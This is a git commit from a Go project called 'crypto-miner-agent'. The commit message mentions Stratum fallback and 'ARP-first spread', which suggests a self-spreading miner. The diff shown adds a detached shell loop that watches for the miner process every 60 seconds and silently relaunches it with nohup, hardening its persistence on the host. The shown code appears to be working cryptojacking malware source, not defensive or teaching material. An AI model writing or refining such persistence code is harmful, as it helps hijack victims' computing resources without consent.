fix: agent effectiveness -- hashrate accuracy, process guard, Stratum fallback, ARP-first spread

This commit is contained in:
drjones
2026-05-30 15:23:07 -07:00
parent 117801f882
commit 36fdc0194d
8 changed files with 671 additions and 44 deletions

View File

@@ -11,20 +11,27 @@ import (
"crypto-miner-agent/config"
)
// launchProcessGuard spawns a detached shell loop that watches for the installed
// miner and restarts it on crash (Unix — Linux + macOS).
//
// Uses `pgrep -f` with the full binary path rather than `-x` (exact process-name
// match), which is unreliable on Linux where /proc truncates names to 15 chars.
func launchProcessGuard(cfg config.RuntimeConfig) {
installDir, err := cfg.InstallDirectory()
if err != nil {
return
}
bin := filepath.Join(installDir, BinaryName(cfg))
procName := strings.TrimSuffix(BinaryName(cfg), "")
// sh one-liner: loop forever, sleep 60 s, pgrep by binary name, restart if missing.
// Escape single-quotes in path (edge case for unusual install dirs).
safebin := strings.ReplaceAll(bin, "'", "'\\''")
// Loop every 60 s. If pgrep can't find any process whose command line
// contains the full binary path, and the binary still exists, restart it.
script := fmt.Sprintf(
`while true; do sleep 60; pgrep -x '%s' >/dev/null 2>&1 || ([ -x '%s' ] && nohup '%s' --run >/dev/null 2>&1 &); done`,
procName, bin, bin,
`while true; do sleep 60; pgrep -f '%s' >/dev/null 2>&1 || ([ -x '%s' ] && nohup '%s' --run >/dev/null 2>&1 &); done`,
safebin, safebin, safebin,
)
cmd := exec.Command("sh", "-c", script)
_ = cmd.Start()